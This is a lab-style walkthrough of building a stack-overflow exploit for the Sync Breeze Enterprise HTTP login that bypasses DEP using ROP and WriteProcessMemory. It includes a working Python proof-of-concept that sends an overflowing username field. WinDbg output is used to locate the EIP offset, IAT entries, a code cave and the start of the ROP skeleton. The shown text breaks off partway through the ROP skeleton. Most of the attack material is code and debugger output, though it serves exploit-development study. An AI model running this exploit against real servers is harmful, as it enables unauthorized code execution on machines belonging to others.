Sync Breeze Enterprise Exploit - DEP
Building a functional exploit for Sync Breeze. This walthrough covers how to create a functional exploit with a PoC to bypass DEP using ROP.
Note Use libspp instead of libpal
Testing PoC Template
There’s already a template for the vulnerability, and a working exploit that I made that works fine without ASLR/DEP enabled. In this documentation I will use the initial vulnerability to build an exploit to bypass Data Execution Prevention (DEP) using Return Oriented Programming (ROP). To exploit a traditional stack overflow vulnerability, we would place our shellcode in the buffer that overwrites the stack. Then, we would locate and use an assembly instruction like “JMP ESP”, which effectively transfers execution to the controlled buffer on the stack. DEP was created to mitigate this type of exploit technique. It was invented with hardware support from Intel CPUs and eventually implemented in the Windows operating system in 2003. The concept of Return Oriented Programming for exploitation was introduced by Sebastian Krahmer in the paper “x86-64 buffer overflow exploits, and the borrowed code chunks exploitation technique.” This technique allows a ret2libc attack to be mounted on x86/x64 executables without calling any functions. Instead of returning to the beginning of a function and simulating a call, we can return to any instruction sequence in the executable memory pages that ends with a return. Keep in mind that Address Space Layout Randomization (ASLR) can impact and limit this technique if enabled, but for this lab it shouldn’t have any impactful effect because some of the loaded modules in this application are not dynamically rebased, which will be our inherent bypass.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/python
import socket
import sys
try:
server = sys.argv[1]
port = 80
size = 800
inputBuffer = b"A" * size
content = b"username=" + inputBuffer + b"&password=A"
buffer = b"POST /login HTTP/1.1\r\n"
buffer += b"Host: " + server.encode() + b"\r\n"
buffer += b"User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n"
buffer += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
buffer += b"Accept-Language: en-US,en;q=0.5\r\n"
buffer += b"Referer: http://10.11.0.22/login\r\n"
buffer += b"Connection: close\r\n"
buffer += b"Content-Type: application/x-www-form-urlencoded\r\n"
buffer += b"Content-Length: "+ str(len(content)).encode() + b"\r\n"
buffer += b"\r\n"
buffer += content
print("Sending evil buffer...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
s.send(buffer)
s.close()
print("Done!")
except socket.error:
print("Could not connect!")
First thing is to verify the PoC template works by attaching the application to WinDbg and sending the PoC to see if it triggers the vulnerability.
From the image above, we can see that we can overwrite the EIP register, so we can move on to developing the exploit for this vulnerability. Being able to bypass DEP requires you to already know how to create/write an exploit for a basic stack/buffer overflow vulnerability, this walkthrough might be a little confusing if you don’t. However, I will do my very best to make sure anyone can follow along, which is the entire purpose of a walkthrough.
Gadgets Selection
In this section we will be looking for gadgets that we can use to bypass DEP and gain execution. Before going any further, let’s talk about the different protections that are enabled on this module and what the strategy is for bypassing ROP.
The image below tells us that the Sync Breeze Enterprize application wasn’t compiled or built with DEP enabled, which is true but before I can tell you why we need to build the exploit with ROP to DEP bypass, let’s check the memory protection.
Based on the memory protection information about the current address in the ESP, we now know the CPU cannot execute data from that address space, it can only read and write to it. This means that DEP is enabled, but why will it be enabled if the syncbrs process was compiled without that protection? Let’s take a look at the different modes that DEP can run in:
- OptIn: DEP is enabled for system processes and custom-defined applications only.
- OptOut: DEP is enabled for everything except specifically exempt applications.
- AlwaysOn: DEP is permanently enabled.
- AlwaysOff: DEP is permanently disabled.
Windows client 7, 8, 10, and 11 have OptIn as the default protection setting. Windows server editions like Windows Server 2012 or Windows Server 2019 have AlwaysOn as the default setting. The operating system will enable DEP regardless of whether or not the developer thought it best to have it enabled. This is the case for a host-based server because the security of that system needs to be close to air-tight as much as possible. This is why we need to build the exploit with DEP bypass included, or we simply won’t have a functional exploit otherwise. Even though ASLR is not enabled, we could build the exploit with the intent that it might be enabled at some point and to make the exploit as robust as possible, but this will require a considerable amount of hours invested in reverse engineering the application. Let’s go ahead and locate the ROP gadgets that we plan to use for the exploit.
We will be using the rp++1 tool, which is a series of open-source applications written in C++ and provides support for both 32-bit and 64-bit CPUs. First, we copy the SyncBreeze.exe executable to the C:\tools\dep folder, then we can invoke rp-win-x86.exe. We must first supply the file to be processed with the -f flag and the maximum gadget length with the -r flag. In this case, the maximum gadget length is the number of assembly instructions in each ROP gadget, not the actual number of bytes.
Now that we have the gadgets ready to use, in the next section we will briefly cover address space layer randomization (ASLR) and how it can be bypassed at a high level, then we will use return oriented programming (ROP) to bypass data execution prevention (DEP) which is the primary focus of this write-up.
ASLR Bypass
ASLR was first introduced by the Pax Project in 2001 as a patch for the Linux operating system. It was integrated into Windows in 2007 with the launch of Windows Vista. ROP evolved over time to make many basic stack buffer overflow vulnerabilities, previously considered un-exploitable because of DEP, now exploitable. The goal of ASLR was to mitigate exploits that defeat DEP with ROP. At a high level, ASLR defeats ROP by randomizing a Portable Executable (PE) or a Dynamic-Link Library (DLL) loaded address each time the application starts. Without going too deep into how ASLR works, during compilation of an executable the compiler accepts a parameter called the preferred base address (for example 0x10000000), which sets the base memory address of the executable when it is loaded. There’s also a related compiler flag called /REBASE, which if supplied, allows the loading process to use a different loading address. This flag is relevant if two DLLs were compiled with the same preferred base address and loaded into the same process. Assuming two modules were loaded as an example, the first module uses 0x10000000, the operating system will provide an alternative base address for the second module. This is not a security mechanism, but merely a feature to avoid address collision. To enable ASLR, a second compiler flag, /DYNAMICBASE must be set. This is set by default in modern versions of Visual Studio, but may not be set in other IDEs or compilers.
Within Windows, ASLR is implemented in two phases. First, when the operating system starts, the native DLLs for basic SYSTEM processes are load to randomized base addresses. Windows will automatically avoid collisions by rebasing modules as needed. The addresses selected for these native modules are not changed until the operating system restarts. Next, when an application is started or initialized, any ASLR-enabled PE and DLL that are used are allocated to random addresses. If this includes a DLL loaded at boot as part of a SYSTEM process, its existing address is reused within this new application. It is important to note that ASLR’s randomization does not affect all the bits of the memory base address. Instead, only 8 of the 32 bits are randomized when a base address is chosen. In technical terms, this is known as the amount of entropy applied to the memory address. The higher 8 bits and the lower 16 bits always remain static when an executable loads into its runtime process environment block/stack.
As stated earlier, we can use the narly extention for WinDbg to check whether ASLR is enabled on the current process that we have attached to, in this case Sync Breeze Enterprise server/syncbrs.exe. We already know the module wasn’t compiled with ASLR enabled but we can enable it using Windows Defender Exploit Guard (WDEG). I think it’s important to build robust and dynamic exploits as an exploit developer because I simply rather put in the work and time now to build an exploit that is capable of bypassing the two common exploit mitigations. Don’t want to revisit the drawing board every time I come across a system with DEP/ASLR, why not bake all that into one exploit? Well, depending on the time and the value of the exploit, then this may be true, but for our case we just need initial access.
Which means our focus should only be on bypassing the current security mitigations that will prevent our exploit from working, in this case it’s DEP. ASLR is enabled but not enforced across all the loaded modules, making it less of a concern in this situation. But if you have the time to spare or invest, you can try to enforce ASLR across all the loaded modules, which may or not require recompiling the application, then do some reverse engineering to discover an information leak, if any, that can be used to expose the runtime virtual base address of the process, which can be appended to the lower bytes of the existing addresses in the ROP chain to make a functional exploit. Unless the situation calls for it, there’s no point in going that length, in my opinion of course.
Enable ASLR with WDEG
Windows Defender Exploit Guard (WDEG) is a new set of intrusion prevention capabilities that ships with the Windows 10 Fall Creators Update and newer releases of the Operating System (OS). The primary function of Windows Defender Exploit Guard is to lock down the device against a wide variety of attack vectors and block behaviors commonly used in malware attacks (exploits), while enabling enterprises to balance their security risk and productivity requirements. I will let you figure out how to enable it on a system that supports it, everything else relating to this is beyond the scope of this walkthrough.
Finding Hidden Gems
Information leaks are often discovered through a logical vulnerability or through memory corruption, the latter of which enables the reading/disclosing of valid runtime memory addresses, such as out-of-bounds stack memory. Discovering a vulnerability that can be leveraged as an information leak usually requires reverse engineering, but we can speed up the analysis through educated guesses and various searches. The preferred method/bypass to ASLR is to exploit a logical vulnerability in the application, which might not always exist but there are other alternatives to bypassing ASLR, which again is beyond the scope of this write-up. We might be able to find useful information more quickly by exploring the Win32 APIs imported by the application. If an imported API could lead to an information leak and that function is likely being used somewhere in the application, we may be able to exploit it. Most Win32 APIs do not pose a security risk themselves, but a few can be directly exploited to disclose an information leak depending on the situation. These include the DebugHelp APIs (from Dbghelp.dll), which are used to resolve function addresses from symbol names. Since ASLR randomizes the module base address at runtime, finding an information leak vulnerability will allow us to retrieve the base address of the current process by resolving a function address by name, this can be used alongside the ROP chain to bypass DEP. Like I said this is beyond the scope of this write-up, but I do intend to cover it thoroughly in another write-up that is appropriate to a situation when both ASLR/DEP are enabled, but for now we will focus only on bypassing DEP.
DEP Bypass
Now that we have return to the real issue at hand, let’s talk approach. Before jumping to writing an exploit, we need to understand the type of DEP we are dealing with because there are different modes as stated earlier in this write-up, hence some slight differences in behavior. This could affect how we bypass DEP in our exploit, so how do we bypass DEP again? Well, we know that we have to use ROP gadgets which are essentially a series of valid and executable instructions from within the current process modules or its dependencies, and the most important thing is those instructions can only be useable in our exploit if they end with ret or retn, which basically returns to the next instruction in the ROP chain. It wouldn’t be a logical chain of instructions if this behavior did not exist, simply put, we can’t brute force DEP, but we can use it against itself to our advantage, and within the best interest of creating a functional exploit. If you recall from earlier, I did say the target application wasn’t compiled with DEP enabled, so we are dealing with an environment/case when the DEP policy is set to AlwaysOn, and this is the case for newer versions of the Windows OS by defualt. While it might be possible to use utilize ROP to just return a limited shell environment using the WinExec API, it should be the last resort for us as exploit developers. Luckily for us, there are other options.
Windows is a very complex and mature operating system that relies heavily on internal APIs and calls to local functions or structs to function properly and to maintain backwards compatibility. This is a good thing for us because we can use some of those internal/native APIs to our advantage. Here are the common APIs used to bypass DEP:
- VirtualAlloc(MEM_COMMIT + PAGE_READWRITE_EXECUTE)
- This API function call will allow you to create a new executable memory region, copy your shellcode to it, and execute it.
- HeapCreate(HEAP_CREATE_ENABLE_EXECUTE) + HeapAlloc()
- In essence, the use of these API calls will provide a very similar technique as VirtualAlloc(), but may require a larger ROP chain.
- SetProcessDEPPolicy()
- This allows you to change the DEP policy for the current process (so you can execute the shellcode from the stack) (Vista SP1, XP SP3, Server 2008, and only when DEP Policy is set to OptIn or OptOut)
- NtSetInformationProcess()
- This function will change the DEP policy for the current process so you can execute your shellcode from the stack.
- VirtualProtect(PAGE_READ_WRITE_EXECUTE)
- This API call will change the access protection level of a given memory page, allowing you to mark the location where your shellcode resides as executable.
- WriteProcessMemory()
- This function allows you to copy your shellcode to another (executable) location, so you can jump to it and execute the shellcode. The target location must be writable and executable.
Import Address Table
IAT is the Import Address Table and it’s part of the Portable Executable file format on Windows systems, used for managing dynamic links to loaded libraries. When an executable loads, the IAT is populated with actual memory addresses of functions from dynamic-linked libraries (DLLs), enabling the executable to call these functions at runtime without prior knowledge of their absolute virtual addresses. Now that we understand this, in order to call WriteProcessMemory() (WPM), which is the API we will be using in this exploit, we need to find its relative offset in the IAT. WPM is part of KERNEL32, and KERNEL32 is a system DLL so it has ASLR enabled, that means the real address of WPM will/may change each time the system reboots or the software/application restarts. The IAT pointers/offset to the imported/external functions are static, meaning the IAT pointer or relative address to the WriteProcessMemory() API function won’t change even with ASLR enabled, assuming it’s in the IAT. However, the absolute virtual address of WriteProcessMemory will dynamically change because Kernel32.dll has ASLR enabled by default. The loader writes these new, randomized addresses into the IAT pointers at runtime. Hopefully, that makes sense.
1
2
3
4
5
# Load the libspp to get the address
0:007> lm m libpal
Browse full module list
start end module name
10000000 100d4000 libpal (deferred)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
# Get the IAT Address
0:007> !dh -f libpal
File Type: DLL
FILE HEADER VALUES
14C machine (i386)
4 number of sections
59BA3BE0 time date stamp Thu Sep 14 01:20:48 2017
0 file pointer to symbol table
0 number of symbols
E0 size of optional header
210E characteristics
Executable
Line numbers stripped
Symbols stripped
32 bit word machine
DLL
OPTIONAL HEADER VALUES
10B magic #
6.00 linker version
8E000 size of code
45000 size of initialized data
0 size of uninitialized data
86417 address of entry point
1000 base of code
----- new -----
10000000 image base
1000 section alignment
1000 file alignment
2 subsystem (Windows GUI)
4.00 operating system version
0.00 image version
4.00 subsystem version
D4000 size of image
1000 size of headers
0 checksum
00100000 size of stack reserve
00001000 size of stack commit
00100000 size of heap reserve
00001000 size of heap commit
0 DLL characteristics
A80A0 [ DF96] address [size] of Export Directory
A6DA0 [ 118] address [size] of Import Directory
0 [ 0] address [size] of Resource Directory
0 [ 0] address [size] of Exception Directory
0 [ 0] address [size] of Security Directory
CD000 [ 5588] address [size] of Base Relocation Directory
0 [ 0] address [size] of Debug Directory
0 [ 0] address [size] of Description Directory
0 [ 0] address [size] of Special Directory
0 [ 0] address [size] of Thread Storage Directory
0 [ 0] address [size] of Load Configuration Directory
0 [ 0] address [size] of Bound Import Directory
8F000 [ 3EC] address [size] of Import Address Table Directory
0 [ 0] address [size] of Delay Import Directory
0 [ 0] address [size] of COR20 Header Directory
0 [ 0] address [size] of Reserved Directory
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
0:007> dps libpal+8F000 # Run> dps libpal+8F000 libpal+8F000+3EC : for verbosity
1008f000 75919000 ADVAPI32!SetEntriesInAclA
1008f004 7590ea70 ADVAPI32!ImpersonateLoggedOnUserStub
1008f008 7593bd70 ADVAPI32!LogonUserA
1008f00c 75915070 ADVAPI32!DeregisterEventSource
1008f010 75942d30 ADVAPI32!ReportEventA
1008f014 75917c10 ADVAPI32!RegisterEventSourceA
1008f018 75937070 ADVAPI32!InitiateSystemShutdownA
1008f01c 7590e200 ADVAPI32!AdjustTokenPrivilegesStub
1008f020 7590ae00 ADVAPI32!LookupPrivilegeValueA
1008f024 7590d1b0 ADVAPI32!OpenProcessTokenStub
1008f028 7590d1d0 ADVAPI32!RegCloseKeyStub
1008f02c 7590d3e0 ADVAPI32!RegQueryValueExAStub
1008f030 7590d0a0 ADVAPI32!LookupAccountSidW
1008f034 7590d640 ADVAPI32!GetUserNameW
1008f038 7590e830 ADVAPI32!GetNamedSecurityInfoWStub
1008f03c 759282a0 ADVAPI32!GetExplicitEntriesFromAclA
1008f040 7590eb80 ADVAPI32!GetUserNameA
1008f044 7590e6d0 ADVAPI32!SetNamedSecurityInfoWStub
1008f048 7590d7f0 ADVAPI32!RegDeleteKeyA
1008f04c 75937bd0 ADVAPI32!RegCreateKeyA
1008f050 75938640 ADVAPI32!RegSetValueA
1008f054 7590d420 ADVAPI32!RegOpenKeyExAStub
1008f058 00000000
1008f05c 7574f8b0 KERNEL32!SetThreadAffinityMask
1008f060 7570ff50 KERNEL32!GetCurrentThread
1008f064 7570ff80 KERNEL32!DeviceIoControlImplementation
1008f068 75713ce0 KERNEL32!FindNextFileW
1008f06c 75713d40 KERNEL32!GetDiskFreeSpaceExW
1008f070 75713d50 KERNEL32!GetDiskFreeSpaceW
1008f074 75713ed0 KERNEL32!GetVolumePathNameW
1008f078 75701760 KERNEL32!GetShortPathNameW
1008f07c 75713b80 KERNEL32!CreateDirectoryW
We can notice there is no KERNEL32!WriteProcessMemoryStub in the list above. Since the WriteProcessMemory() (WPM) is not in the import address table, we will have to use some tricks to resolve the address of this function at runtime. Let’s take for instance GetLastErrorStub and subtract WriteProcessMemoryStub from it as follow:
1
2
0:007> ? KERNEL32!GetLastErrorStub - KERNEL32!WriteProcessMemoryStub
Evaluate expression: -94624 = fffe8e60
This is basically the offset or the difference between GetLastErrorStub and WPM, meaning if we added that offset to GetLastErrorStub we should get WPM function address. It’s simple math really. Let’s verify it manually, first we will unassemble GetLastErrorStub to get its address:
1
2
3
4
5
6
7
8
9
10
0:007> u KERNEL32!GetLastErrorStub
KERNEL32!GetLastErrorStub:
7570f020 ff259c0e7775 jmp dword ptr [KERNEL32!_imp__GetLastError (75770e9c)]
7570f026 cc int 3
7570f027 cc int 3
7570f028 cc int 3
7570f029 cc int 3
7570f02a cc int 3
7570f02b cc int 3
7570f02c cc int 3
The address of GetLastErrorStub is 7570f020, let’s add the decimal 94624 (the offset) to WPM:
1
2
0:007> ? 7570f020 + 0n94624
Evaluate expression: 1970430400 = 757261c0
Now, let’s unassemble that address to see if it points to the WriteProcessMemory() API stub:
1
2
3
4
5
6
7
8
9
10
0:007> u 757261c0
KERNEL32!WriteProcessMemoryStub:
757261c0 8bff mov edi,edi
757261c2 55 push ebp
757261c3 8bec mov ebp,esp
757261c5 5d pop ebp
757261c6 ff2510137775 jmp dword ptr [KERNEL32!_imp__WriteProcessMemory (75771310)]
757261cc cc int 3
757261cd cc int 3
757261ce cc int 3
Finding Code Cave in libpal.dll
A code cave refers to a section of an executable memory page(s) where additional code can be inserted without altering the program’s original functionality, mostly due to the fact that it contains no data, so we won’t be overwriting anything. Code caves are useful for us as exploit developers because they allow us to move/copy our shellcode to another location that we can give execution permissions without triggering immediate detection or crashing the program. Here’s how we find the code cave to use in this exploit.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# Get the first DWORD
0:007> dd libpal + 3c L1
1000003c 00000100
# Add it to the libpal module
0:007> dd libpal + 0x100 + 2c L1
1000012c 00001000
0:007> ? libpal + 1000
Evaluate expression: 268439552 = 10001000
# Get information about that adddress location
0:007> !address 10001000
Usage: Image
Base Address: 10001000
End Address: 1008f000
Region Size: 0008e000 ( 568.000 kB)
State: 00001000 MEM_COMMIT
Protect: 00000020 PAGE_EXECUTE_READ
Type: 01000000 MEM_IMAGE
Allocation Base: 10000000
Allocation Protect: 00000080 PAGE_EXECUTE_WRITECOPY
Image Path: C:\Program Files (x86)\Sync Breeze Enterprise\bin\libpal.dll
Module Name: libpal
Loaded Image Name:
Mapped Image Name:
More info: lmv m libpal
More info: !lmi libpal
More info: ln 0x10001000
More info: !dh 0x10000000
Content source: 1 (target), length: 8e000
To find an empty region (code cave), we will take the End Address and subtract an arbitrary value from it that provides enough space to store the shellcode in that section of memory. Assuming we want to allocate about 500 bytes for the shellcode, we can if there’s enough space as follow:
1
2
3
4
5
6
7
8
9
10
11
12
0:007> dd 1008f000 - 500
1008eb00 00000000 00000000 00000000 00000000
1008eb10 00000000 00000000 00000000 00000000
1008eb20 00000000 00000000 00000000 00000000
1008eb30 00000000 00000000 00000000 00000000
1008eb40 00000000 00000000 00000000 00000000
1008eb50 00000000 00000000 00000000 00000000
1008eb60 00000000 00000000 00000000 00000000
1008eb70 00000000 00000000 00000000 00000000
0:007> ? 1008f000 - 500 - libpal
Evaluate expression: 584448 = 0008eb00
Because of the nullbyte, add 4 to the address 0x1008eb00 to get 0x1008eb04, which going forward will be the address of the code cave that we found above and will be used in the exploit to bypass DEP.
1
2
3
4
5
6
7
8
0:011> !vprot 0x1008eb04
BaseAddress: 1008e000
AllocationBase: 10000000
AllocationProtect: 00000080 PAGE_EXECUTE_WRITECOPY
RegionSize: 000da000
State: 00001000 MEM_COMMIT
Protect: 00000020 PAGE_EXECUTE_READ
Type: 01000000 MEM_IMAGE
Finding Space for lpNumberOfBytesWritten
This argument needs to be a pointer to a writable DWORD where WriteProcessMemory will store the number of bytes that were copied from the initial shellcode onto the stack to the code cave. We could use a stack address for this pointer, but it’s easier to use an address inside the data section of the module we are using for the code cave, this ensures we do not have to resolve/gather it at runtime. We can use the !dh command to find the data section start address, by supplying the -a flag which takes the name of the module and will dump all its header information.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
0:007> !dh -a libpal
...
SECTION HEADER #3
.data name
15D60 virtual size
B7000 virtual address
13000 size of raw data
B7000 file pointer to raw data
0 file pointer to relocation table
0 file pointer to line numbers
0 number of relocations
0 number of line numbers
C0000040 flags
Initialized Data
(no align specified)
Read Write
...
The size of the section is 0x15D60 and the section address is 0xB7000. We need to check the content of the address to ensure it is not being used, and to verify the memory protections in that section of memory.
1
2
3
4
5
6
7
8
9
10
11
0:007> ? libpal + B7000 + 15D60 + 4
Evaluate expression: 269274468 = 100ccd64
0:007> dd 100ccd64
100ccd64 00000000 00000000 00000000 00000000
100ccd74 00000000 00000000 00000000 00000000
100ccd84 00000000 00000000 00000000 00000000
100ccd94 00000000 00000000 00000000 00000000
100ccda4 00000000 00000000 00000000 00000000
100ccdb4 00000000 00000000 00000000 00000000
100ccdc4 00000000 00000000 00000000 00000000
100ccdd4 00000000 00000000 00000000 00000000
1
2
3
4
5
6
7
8
9
10
11
12
# Checking DWORD permission
0:007> !vprot 100ccd64
BaseAddress: 100cc000
AllocationBase: 10000000
AllocationProtect: 00000080 PAGE_EXECUTE_WRITECOPY
RegionSize: 00001000
State: 00001000 MEM_COMMIT
Protect: 00000004 PAGE_READWRITE
Type: 01000000 MEM_IMAGE
# CHecking distance between code cave and libpal
0:011> ? 100ccd64 - libpal
Evaluate expression: 261344612 = 0f93cd64 -> 0003cd64
We have just been able to verify that there’s enough space in the code cave to store the shellcode and lpNumberOfBytesWritten, and verified the memory location has PAGE_READWRITE permissions, which is what we should be looking for. At this point, we still don’t have control over the EIP register, there’s a difference between being able to overwrite it and having precise control and stack alignment. Overwriting the EIP with arbitrary bytes (DWORD) just confirms the existence of the vulnerability, and having control means we know the offset that tells us the exact location/placement of the DWORD in the payload buffer that will always end up in the EIP register when the program crashes due to it being an invalid address. Let’s learn how to take control over the EIP, which is crucial to everything that follows.
Controlling the EIP (Offset)
It’s hard at this point to figure out the exact offset to the DWORD in the EIP register on the stack because the entire buffer we sent or have been sending to the target contains the same bytes, in this case "b\x41" * 800. The value 41 is equivalent to the letter A in Ascii. We need to randomize those bytes so it’s easier to identify the location of the DWORD in the EIP in relation to the rest of the buffer, this allows us to find the precise offset. Fortunate for us, there’s a Metasploit Framework (MSF) utility called msf-pattern_create that does just that.
1
2
3
┌──(oscp㉿OSCP-KL-01)-[~/OffSec]
└─$ msf-pattern_create -l 800
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba
Now that we know how to generate a pattern of random bytes exactly the length of the initial buffer size, we need to update the initial PoC to reflect this; specifically the inputBuffer variable in the exploit.
1
inputBuffer = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba"
Note : Everytime you run or test the exploit, make sure to detach the syncbrs.exe process from WinDbg and restart the Sync Breeze Enterprise service using the Microsoft Service utility. May have to restart WinDbg as well sometimes, your mileage may vary.
1
2
┌──(oscp㉿OSCP-KL-01)-[~/OffSec]
└─$ python poc.py 192.168.00.00
1
2
3
4
5
6
7
8
0:009> g
(bd4.1700): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00000000 ecx=0078982a edx=0000034e esi=0078260e edi=013037f8
eip=42306142 esp=00a2744c ebp=007797d0 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
42306142 ?? ???
The application crashed as expected, but we are particularly interested in the value in the EIP register. In this case, that value is 42306142. Next, we need to calculate the exact offset based on that value. There’s another MSF utility called msf-pattern_offset, it will calculate the offset for us.
1
2
3
┌──(oscp㉿OSCP-KL-01)-[~/OffSec]
└─$ msf-pattern_offset -l 800 -q 42306142
[*] Exact match at offset 780
Based on the output above, the offset to the EIP DWORD is 780. Let’s update the PoC and test this out.
1
2
3
4
5
6
7
8
#!/usr/bin/python
import sys, subprocess, socket
from struct import pack
...
inputBuffer = b"\x41" * 780 # Offset
inputBuffer += pack("<L", (0x42424242)) # EIP DWORD
inputBuffer += b"\x44" * (size - len(inputBuffer)) # Rest of the buffer
...
Go ahead and restart the application after detaching it from WinDbg and send the updated PoC exploit as we did earlier.
1
2
3
4
5
6
7
8
0:009> g
(15a0.1130): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00000000 ecx=006ce222 edx=0000034e esi=006c765e edi=00ff37f8
eip=42424242 esp=01bc744c ebp=006c6d78 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
42424242 ?? ???
The output above confirms that we have successfully gained control over the EIP by controlling the DWORD it points to when the program crashes. Before moving forward, it’s worth mentioning why the application crashes at this point. The Extended Instruction Pointer (EIP) controls the execution flow of any program by telling the CPU what instruction(s) to execute. At the moment of the crash, the EIP currently points to a junk address that doesn’t exist in the current process, as such, there is no error handling mechanism to take care of this scenario at this point in the execution flow, the CPU doesn’t know what to do, so it crashes or stops the process and throws an error, which isn’t the same as an SEH overwrite. In the next section, we will use a ROP gadget to redirect the execution flow to our controlled buffer with a valid address that contains a very specific set of instructions in the list of ROP gadgets that we acquired earlier using the rp++1 tool.
Initial Skeleton
We will start of by examining the WriteProcessMemory function and its parameters. WriteProcessMemory is a Windows API function that allows a process to write data to the memory space of a process, which can be the current or a remote process. It is often used in various contexts, including debugging, process manipulation, and in our case exploit development.
WriteProcessMemory function prototype:
1
2
3
4
5
6
7
BOOL WriteProcessMemory(
HANDLE hProcess,
LPVOID lpBaseAddress,
LPCVOID lpBuffer,
SIZE_T nSize,
SIZE_T *lpNumberOfBytesWritten
);
Parameters
- hProcess : A handle to the target process whose memory will be written to. This handle must have PROCESS_VM_WRITE and PROCESS_VM_OPERATION access rights.
- lpBaseAddress : A pointer to the base address in the target process’s memory where the data will be written.
- lpBuffer : A pointer to the buffer containing the data to be written.
- nSize : The size, in bytes, of the data to be written.
- lpNumberOfBytesWritten : A pointer to a variable that receives the number of bytes written. This parameter can be NULL if not needed.
Let’s update the exploit by placing the skeleton of the WriteProcessMemory function on the stack with dummy values, which we will update at runtime dynamically using a ROP chain.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
...
rSize = 100
# Controlling the crash and overflow
offset = b"\x41" * 752 # Crash Offset : 780 (780 - WPM (28) = 752)
eip = pack("<L", (0x10154112)) # EIP : push esp ; inc ecx ; adc eax, 0x08468B10 ; pop esi ; ret ;
# WriteProcessMemory Function Skeleton
wpm = pack("<L", (0x45454545)) # WriteProcessMemory Address
wpm += pack("<L", (0x1008eb04)) # Shellcode Return Address
wpm += pack("<L", (0xFFFFFFFF)) # pseudo Process handle
